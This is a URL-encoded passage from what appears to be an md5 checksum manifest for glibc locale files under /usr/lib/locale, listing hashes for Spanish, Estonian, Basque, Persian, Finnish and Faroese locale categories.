3%20%20%2Fusr%2Flib%2Flocale%2Fes_SV.utf8%2FLC_CTYPE%0Aa93478999468ef1939d375ce52ba8c4a%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adcdc195ca6bd3ad4f618d616099f5d65%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_TIME%0A22a889dd34740abbfbeeb29671903ec8%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_IDENTIFICATION%0Ae4379bed742b442ae747984d85066ba2%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_MEASUREMENT%0A2e581e8ac98c9866315abe0b41d77105%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_COLLATE%0Ad0dae383599408a1e0ccf9e87c8a6749%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_MONETARY%0A2b251a0f4eee63977d28451433ac99a9%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_TELEPHONE%0A9118f2d9cbd86d541e26fc3b3d39f830%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_PAPER%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fes_US%2FLC_ADDRESS%0A1b4df49fc879153d601755d8f937fb47%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6419d05b5907286526be921aa9d6a107%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_TIME%0Af9b700c89dd5c5558260a76957e0f3f1%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_IDENTIFICATION%0A7f86a6b2fd3d6e4fd7cdebac824c8047%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_MEASUREMENT%0Ad1cfa24ce31bb65c7241e459489173b9%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_COLLATE%0A634f23ffb506babe0aa75c3b0334b52b%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_MONETARY%0A6df61b304a18038f9a473bb822993aab%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_TELEPHONE%0Af0ea34926604ccd6562bd37402c9557f%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_PAPER%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_ADDRESS%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fes_US.utf8%2FLC_CTYPE%0Aa93478999468ef1939d375ce52ba8c4a%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adcdc195ca6bd3ad4f618d616099f5d65%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_TIME%0Acc752a99879c888352904032f1a8c43c%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_IDENTIFICATION%0Ac0919838e26a7b580951587eb63f3a8e%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_TELEPHONE%0Aaebf741974f1d65260957697d25d700a%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_MEASUREMENT%0Aa493f90653bb36e686ceb69c4277cb49%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_COLLATE%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fes_UY%2FLC_ADDRESS%0A1b4df49fc879153d601755d8f937fb47%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6419d05b5907286526be921aa9d6a107%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_TIME%0Af1a8fca0f824cff7ac27f8cdc2a890f1%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_IDENTIFICATION%0A8b40e7530ecb69dce8ef00ff5e42f6a1%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_TELEPHONE%0Aa491f813831b0e9cda7eedd6a5478362%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fes_UY.utf8%2FLC_CTYPE%0Aa93478999468ef1939d375ce52ba8c4a%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adcdc195ca6bd3ad4f618d616099f5d65%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_TIME%0A880c260d7658a873e0176cda9eaf6fc9%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_IDENTIFICATION%0Afe31291b3a77e63ad1bda41d8d4c9a02%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_TELEPHONE%0A8b297e02d11541a8904f579dafbc57c8%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_MEASUREMENT%0Aa493f90653bb36e686ceb69c4277cb49%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_COLLATE%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fes_VE%2FLC_ADDRESS%0A1b4df49fc879153d601755d8f937fb47%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A6419d05b5907286526be921aa9d6a107%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_TIME%0A24926f9b14ffa7df759662ecac888e82%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_IDENTIFICATION%0Ad2776989c7e47ac4256e397375bfa1ab%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_TELEPHONE%0Acb86b75fb24745c335e954464d470bcd%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fes_VE.utf8%2FLC_CTYPE%0Afe9c694b566f9fd3bfbb1cb0a5d8b863%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_IDENTIFICATION%0Aaf2a1a0d268b6a0a68143b98cee5cbc0%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_COLLATE%0A0a361d0fa2dcd026c3ad09bb404ea083%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A97fb2ea249d4dbbecb2f8ea0b3da93c4%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_TELEPHONE%0Ab79de410da63be8b67e75e32c4f92d2b%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_MONETARY%0Af2dec62745d452c8d75b15f382b00f0c%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_PAPER%0Ae336c9a5293c5fd10d8174a4cc51eb86%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_TIME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_MEASUREMENT%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fet_EE%2FLC_ADDRESS%0Afdf808111cd2153b37985cd2278c4ead%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_IDENTIFICATION%0Ab9b7b2e6c79f35b7a9ab13ff310ea1ac%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_COLLATE%0A8be589fce0dc518b0b02cc86b6c4c166%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ad6e591750cc65b0514eb043bed9e2406%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_TELEPHONE%0A74d16944b66052c21f7379d749b95584%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_MONETARY%0Aeb52ce5476daa284a70d9478ded3ee97%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_NUMERIC%0Afa66fa15e7dd398431fea029cf93441a%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fet_EE.utf8%2FLC_CTYPE%0A7d4ee4738f9bd7f53e04fb83bd04c90d%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9e2868dc42eebd442ce5dfabe767a2a2%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_TIME%0A6248ef592c634034e6f7516425eff7ad%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_IDENTIFICATION%0Af6ec6d523c3fde8db0553398621ae250%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_TELEPHONE%0A7d5233b1c4233dd1a6b73c4ea58deb9c%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%2FLC_ADDRESS%0A0dd8eaabddf967a3d44184247fc36b5d%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3274a6f9d9710f81260e00126db0da07%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_TIME%0A94b2468ca04f478b47942b272b11644f%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_TELEPHONE%0A4ae3b8b64cc2d24744184174de95cb6b%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%2FLC_COLLATE%0A0dd8eaabddf967a3d44184247fc36b5d%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3274a6f9d9710f81260e00126db0da07%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_TIME%0A187a99f5da03c23b44b72ad02c265443%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_TELEPHONE%0A3d7a1219892806152491159f217f6fa0%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Feu_ES.utf8%40euro%2FLC_COLLATE%0A9b18bd3c09ec2b29c5c39917cc864c57%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ad293c46ccbbbe250ac38b13f7b283c1b%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_TIME%0A45d02386449a4872b0a64d5a845d908f%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_IDENTIFICATION%0Aff3f5c3bcfc40df3aab96c3011f53b59%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_TELEPHONE%0A855e30f44302ddb302743fb6d061b462%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_MONETARY%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_COLLATE%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_MEASUREMENT%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_PAPER%0A1b0d9ccc475b3ee8255f9c7b0bc4aba1%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_NUMERIC%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_NAME%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Feu_ES%40euro%2FLC_ADDRESS%0Ae1864db91f02ade5e69005d9c868044a%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_IDENTIFICATION%0Ae3e7ea88d4ec0214aa7338e2b6bbf0cd%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_ADDRESS%0A0335d63c5d990c57aead22f810eda6f7%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_COLLATE%0Adbb8a4d94d7ad49c51920d4e6433328a%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_CTYPE%0Af50ebfe9b079aaebc09542ca0ca4b4e6%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A8a2b154986e3db93f4e19e68ba9363d7%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_TELEPHONE%0A042dd9a691910b4d75e834dd1007395e%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_MONETARY%0Ad1b01e6a95a4f4ed55e4710271874f47%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_NAME%0A96e08951b195fc8334587d2ac89f1ba2%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_NUMERIC%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_PAPER%0A15499333f328b53bc10174ca10110ed7%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffa_IR%2FLC_MEASUREMENT%0A014a633ab2e240f64693504182b368e2%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Afdce72454df21cf9a69a0d55017a28c1%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_TIME%0A1df0b9b82aaa2fa7ed9b7020e2c2c5ce%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_IDENTIFICATION%0A0533217f87815805fc3f2eb4be0224b5%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_TELEPHONE%0A46b67dd73b6055266ba616c07131e967%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_MONETARY%0Ad4437a5d9a7c094eb8e70101f8b05347%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_COLLATE%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_PAPER%0A9803aabd8b3564c9febbd871fd579a3c%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%2FLC_ADDRESS%0Ad56b36e8952ebdd6001801af7abd8fbd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Acea17b0cab44cf3dc3a21cd21f72ff14%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_TIME%0A42ba0d794d806c5681e63ae330aacf6f%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_IDENTIFICATION%0Aaeb5bd60b8bf6cf34cd50101c8fee306%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_TELEPHONE%0Ab55c10a5e777d455af8ae8f7bf11d91e%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_MONETARY%0A66eea728a3fe59f0536f862a2d4594c3%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_COLLATE%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%2FLC_CTYPE%0Ad56b36e8952ebdd6001801af7abd8fbd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Acea17b0cab44cf3dc3a21cd21f72ff14%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_TIME%0A2313a0031333a838538c8efa0f31d595%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_IDENTIFICATION%0Aaeb5bd60b8bf6cf34cd50101c8fee306%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_TELEPHONE%0A75416e7e92590faa82972b3593b3de4c%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_MEASUREMENT%0A66eea728a3fe59f0536f862a2d4594c3%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_COLLATE%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI.utf8%40euro%2FLC_CTYPE%0A021f9ba6d1693664d7ade5a1ce08b0cc%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab351917c25376ce8fea3b6c01ff5dd1a%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_TIME%0A6dffbdbeaf4efb143815f9d36cae5761%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_IDENTIFICATION%0Ab83216445bb82dea2a64328920791ff5%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_TELEPHONE%0A65e1129ed7d9ce04abe3032c6d8473fd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_MONETARY%0A4a32fd994985ed29c28619f9feefc089%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_COLLATE%0Ac5d2244cf5e4ac17aab196961169f97e%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_NUMERIC%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_NAME%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_MEASUREMENT%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Ffi_FI%40euro%2FLC_ADDRESS%0Ad7709b8ca6e9ffd872e5177c2a421a79%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A23fb634f45628c142949da69b6bda23d%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_TIME%0A0d1f0a66f1d531b22db7b33d1bba7c63%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_IDENTIFICATION%0A3dec38dddc0c819ab770c9519eb1e6c7%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_TELEPHONE%0A88dfddedbbaeb9d23c1e1d7b8d1f1594%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_MONETARY%0A1e9fbd3eb788b9db90142a0ca06a623e%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_COLLATE%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_PAPER%0A9803aabd8b3564c9febbd871fd579a3c%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_NUMERIC%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Ffo_FO%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Ffo_F